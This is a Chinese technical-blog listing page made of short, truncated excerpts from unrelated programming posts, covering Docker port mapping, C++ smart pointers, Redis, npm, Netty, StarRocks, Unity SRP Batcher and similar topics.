docker扩展知识点 开放容器端口 背景&#xff0c;有一个docker Centos7镜像&#xff0c;运行容器后&#xff0c;想要通过22端口远程这个容器 创建容器时开放映射端口&#xff0c;将容器的22端口映射到本地的22端口 docker run -p <宿主机端口>:<容器端口> 镜像名…...

【C++ Primer 学习札记】智能指针

1&#xff09;std::unique_ptr&#xff08;独占所有权&#xff09; 特点&#xff1a; 独占资源的所有权&#xff0c;同一时间只能有一个 unique_ptr 指向特定对象。 不可复制&#xff0c;但可以通过 std::move 转移所有权。 轻量级&#xff0c;几乎无额外开销&#xff08;与…...

【嵌入式人工智能产品开发实战】(二十二)—— 政安晨:改造小智AI开发智能体硬件(案例:移植PowerManager后麦克风不工作)

政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff01; 目录 确定你硬件的关键点 案例分析 &#x1f50d; 一、关键代码分析 ✅ 1. power_save_…...

Taro Error: chunk common [mini-css-extract-plugin]

目录 一、问题描述 二、解决方案 一、问题描述 taro项目编译时抛出一下异常&#xff1a; Error: chunk common [mini-css-extract-plugin] Conflicting order. Following module has been added: * css ./node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[4].oneOf…...

【深度学习】多目标融合算法(六):渐进式分层提取模型PLE(Progressive Layered Extraction)

目录 一、引言 二、PLE&#xff08;Progressive Layered Extraction&#xff0c;渐进式分层提取模型&#xff09; 2.1 技术原理 2.2 技术优缺点 2.3 业务代码实践 2.3.1 业务场景与建模 2.3.2 模型代码实现 2.3.3 模型训练与推理测试 2.3.4 打印模型结构 三、总结 一…...

ping、tcpping、psping、paping、hping的区别

ping、tcpping、psping、paping、hping的区别 这些工具都是用于网络测试的&#xff0c;但它们在功能和协议上有所不同&#xff0c;适用于不同的场景。 ping 基本功能&#xff1a; 发送ICMP echo请求包&#xff0c;并等待接收echo应答包&#xff0c;从而判断网络是否连通&…...

【Redis8】最新安装版与手动运行版

1. 下载 Redis 百度网盘 2. 解压后直接运行 redis-server.exe 3. 使用安装版 双击 install_redis_service.bat 输入安装路径&#xff08;请提前创建好安装路径&#xff09;后直接回车下一步直接回车即可&#xff0c;因为是使用配置模板文件为默认解压出来的&#xff0c;然后…...

前端(小程序)学习笔记(CLASS 1):组件

1、小程序中组件的分类 小程序中的组件也是由宿主环境提供的&#xff0c;开发者可以基于组件快速搭建出漂亮的页面结构。官方把小程序的组件分为了9大类&#xff0c;分别是&#xff1a; * 视图容器&#xff0c;* 基础内容&#xff0c;* 表单组件&#xff0c;* 导航组件 媒体…...

Python MD5加密算法脚本

基本概念 MD5&#xff08;Message Digest Algorithm 5&#xff09;是一种常用的哈希函数&#xff0c;用于将任意长度的数据转换为固定长度的哈希值&#xff0c;通常为128位&#xff08;16字节&#xff09;。 特点 不可逆性&#xff1a;无法从哈希值还原出原始数据。无论原始…...

Python数据分析实战:Pandas高效处理Excel数据指南

目录 引言&#xff1a;为什么选择Pandas处理Excel&#xff1f; 一、环境搭建与数据读取 1.1 基础环境配置 1.2 数据高效载入技巧 二、数据清洗核心战术 三、数据加工实战案例 3.1 销售数据透视分析 3.2 异常值检测 3.3 跨表关联分析 四、性能优化秘籍 4.1 大文件处理…...

使用Starrocks制作拉链表

5月1日向ods_order_info插入3条数据&#xff1a; CREATE TABLE ods_order_info(dt string,id string COMMENT 订单编号,total_amount decimal(10,2) COMMENT 订单金额 ) PRIMARY KEY(dt, id) PARTITION BY (dt) DISTRIBUTED BY HASH(id) PROPERTIES ( "replication_num&q…...

【npm】npm命令大全

掌握 NPM&#xff1a;前端与 Node.js 开发者必备命令大全 NPM (Node Package Manager) 无疑是现代 JavaScript 开发的基石。无论是前端项目还是 Node.js 后端服务&#xff0c;NPM 都扮演着管理依赖、执行脚本、发布模块等关键角色。熟悉并熟练使用 NPM 命令&#xff0c;能够极…...

最新版Chrome浏览器调用ActiveX控件技术——alWebPlugin中间件V2.0.42版发布

allWebPlugin简介 allWebPlugin中间件是一款为用户提供安全、可靠、便捷的浏览器插件服务的中间件产品&#xff0c;致力于将浏览器插件重新应用到所有浏览器。它将现有ActiveX控件直接嵌入浏览器&#xff0c;实现插件加载、界面显示、接口调用、事件回调等。支持Chrome、Firefo…...

32核64G内存的物理机上,Netty理论能承载多少连接?

在 32核64G内存 的机器上&#xff0c;Netty 能承载的连接数取决于 业务场景、配置优化 和 操作系统调优。 以下是详细分析和实测数据参考&#xff1a; 1. 理论估算&#xff08;基于资源限制&#xff09; 资源影响内存每个连接占用 10KB~1MB&#xff08;取决于业务&#xff0…...

对于final、finally和finalize不一样的理解

目录 1、final 1.1、不可变性&#xff08;Immutability&#xff09; 1.2、内存可见性&#xff08;Visibility&#xff09; 1.3、初始化安全&#xff08;Initialization Safety&#xff09; 1.4、禁止重排序&#xff08;Reordering&#xff09; 1、静态常量 2、实例常量 …...

Open CASCADE学习|刚体沿曲线运动实现方法

在三维几何建模中&#xff0c;刚体沿参数化曲线的运动模拟是机械运动仿真、机器人路径规划等领域的核心需求。本文基于Open Cascade几何内核&#xff0c;系统阐述刚体沿曲线运动的实现方法&#xff0c;重点解析标架构建、坐标变换及鲁棒性控制等关键技术。 一、基于标架的刚体运…...

工作流引擎-03-聊一聊什么是流程引擎(Process Engine)?

前言 大家好&#xff0c;我是老马。 最近想设计一款审批系统&#xff0c;于是了解一下关于流程引擎的知识。 下面是一些的流程引擎相关资料。 工作流引擎系列 工作流引擎-00-流程引擎概览 工作流引擎-01-Activiti 是领先的轻量级、以 Java 为中心的开源 BPMN 引擎&#x…...

centos7 p8p1使用ip addr查看时有的时候有两个ip,有的时候只有一个ip,有一个ip快,有一个ip慢

在CentOS 7系统中&#xff0c;网络接口 p8p1 出现IP地址数量变化且访问速度不一致的问题&#xff0c;通常与以下原因相关。以下是逐步排查与解决方案&#xff1a; 1. 检查网络配置文件 可能原因&#xff1a;存在多个配置文件或重复配置&#xff08;如静态IP与DHCP冲突&#xf…...

回溯算法——排列篇

目录 一、全排列 二、全排列II 一、全排列 46. 全排列 - 力扣&#xff08;LeetCode&#xff09; class Solution {List<List<Integer>> resultnew ArrayList<>();LinkedList<Integer> pathnew LinkedList<>();boolean[] used;public List<…...

Unity中SRP Batcher使用整理

SRP Batcher 是一种绘制调用优化,可显著提高使用 SRP 的应用程序的性能,SRP Batcher 减少了Unity为使用相同着色器变体的材质准备和调度绘制调用所需的CPU 时间。 工作原理: 传统优化方法通过减少绘制调用次数提升性能,而SRP Batcher的核心理念在于降低绘制调用间的渲染状…...